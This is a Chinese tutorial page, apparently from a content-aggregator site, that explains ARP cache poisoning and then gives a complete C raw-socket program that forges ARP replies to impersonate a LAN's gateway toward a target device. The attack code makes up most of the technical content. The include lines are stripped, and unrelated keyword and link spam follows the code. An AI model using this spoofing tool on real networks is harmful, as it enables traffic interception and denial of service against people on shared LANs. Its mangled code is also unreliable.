Linux中怎么实现arp攻击
发表于:2024-10-04 作者:千家信息网编辑
千家信息网最后更新 2024年10月04日,今天就跟大家聊聊有关Linux中怎么实现arp攻击,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。ARP:Address Resolution
千家信息网最后更新 2024年10月04日Linux中怎么实现arp攻击
今天就跟大家聊聊有关Linux中怎么实现arp攻击,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
ARP:Address Resolution Protocol 地址解析协议。它是一个链路层的协议。工作在OSI模型的第二层。
由于以太网交换设备不能直接识别32位的IP地址。事实上它们都是以48位的MAC地址传输数据的,所以在工作时需要存在一种MAC地址和IP地址的对应关系。而ARP协议就是用来确定这种关系的。
网络中所有的机器都包含ARP缓存,它存储了本地网络中最近时间的MAC地址和IP地址的对应关系。正常情况下当ARP工作时,请求主机发出一个含有目标IP的以太网广播数据,然后目标IP会发出一个含有IP地址和对应MAC地址的应答包。这样请求主机就能够获得一对IP地址和MAC地址,然后将这一组对应关系放入ARP缓存。ARP缓存表采用老化机制,一段时间内表中的某一行不用就会被删除。
而对于一台局域网上的主机,如果收到一个ARP应答报文,即便它并没有发送请求报文或者并不是它目标IP的应答报文,该主机也会将报文中的IP和MAC地址存入缓存。
如此,我们只要让被攻击的目标主机相信我们的MAC地址是网关的MAC地址。让目标主机的网关相信我们的MAC地址是被攻击的
目标主机的MAC,那么所有要发往目标主机的报文就会被发到我们的主机上。
灵魂作图时间
下面进行一次实践,攻击者为我的Ubuntu系统的电脑,被攻击的为我的华为手机
代码如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define print_errno(fmt, ...) \ printf("[%d] errno=%d (%s) #" fmt, \ __LINE__, errno, strerror(errno), ####__VA_ARGS__)
static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int s_ip_frame_size = 0;
int main(int argc,char** argv){
struct ether_header *eth = NULL;
struct ether_arp *arp = NULL;
struct ifreq ifr;
struct in_addr daddr;
struct in_addr saddr;
struct sockaddr_ll sll;
int skfd;int n = 0;
unsigned char dmac[ETH_ALEN] = {0x38,0x37,0x8B,0xC3,0x61,0x4D};//被攻击对象的mac地址
daddr.s_addr = inet_addr("192.168.0.125");//被攻击对象的ip地址
unsigned char smac[ETH_ALEN] = {0x01,0x02,0x03,0x04,0x05,0x06};//使被攻击对象的arp表改为这个假的mac地址
saddr.s_addr = inet_addr("192.168.0.1");//路由器
memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN); skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (skfd < 0) { print_errno("socket() failed! \n");
return -1; } bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name, "wlp8s0");//这里是我的网卡名字,要改为你的网卡名字,使用ifconfig查看
if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) { print_errno("ioctl() SIOCGIFINDEX failed!\n");
return -1; }
printf("ifr_ifindex = %d\n", ifr.ifr_ifindex); bzero(&sll, sizeof(sll)); sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_family = PF_PACKET; sll.sll_protocol = htons(ETH_P_ALL); eth = (struct ether_header*)s_ip_frame_data; eth->ether_type = htons(ETHERTYPE_ARP);
memcpy(eth->ether_dhost, dmac, ETH_ALEN);
memcpy(eth->ether_shost, smac, ETH_ALEN); arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header)); arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REPLY);//ARPOP_REQUEST ARPOP_REPLY 我使用的是replay,至于request你自己去弄,我就不说了
memcpy(arp->arp_sha, smac, ETH_ALEN);
memcpy(arp->arp_spa, &saddr.s_addr, 4);
memcpy(arp->arp_tha, dmac, ETH_ALEN);
memcpy(arp->arp_tpa, &daddr.s_addr, 4); s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp); n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \ (struct sockaddr*)&sll, sizeof(sll));
if (n < 0) { print_errno("sendto() failed!\n"); }else {
printf("sendto() n = %d \n", n); } close(skfd);
return 0;}
看完上述内容,你们对Linux中怎么实现arp攻击有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。
地址
攻击
主机
目标
报文
缓存
内容
对象
时间
工作
以太网
名字
数据
网关
网卡
网络
以太
一行
不用
事实
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
服务器启动盘的设置项
关系模式数据库定义
南京图书馆特色数据库
荒野行动服务器正在维护啥意思
西固区网络安全课
顾益军 网络安全
beta和ptr是一个服务器吗
麦苗网络技术有限公司可靠吗
企业网络安全工作会议
衡阳游戏软件开发
服务器dns管理器配置首页
各种网络技术和中间件技术
nodejs封装数据库
服务器的关机开机顺序
少女前线服务器安全
数据库英文翻译
昌都俜侣网络技术网
网络技术实践报告
我国数据库技术的发展
软件开发需要背什么
数据库一对多关系图怎么画
国外的网络安全学者
系统时间怎么转换数据库
北京品质网络技术开发概况
静安区无线网络技术创新服务
数据库搭建试用的法律
辣苹果网络技术
轻量云服务器挂30个qq号
畅游的游戏服务器在哪里的
晶密收费系统服务器一直发红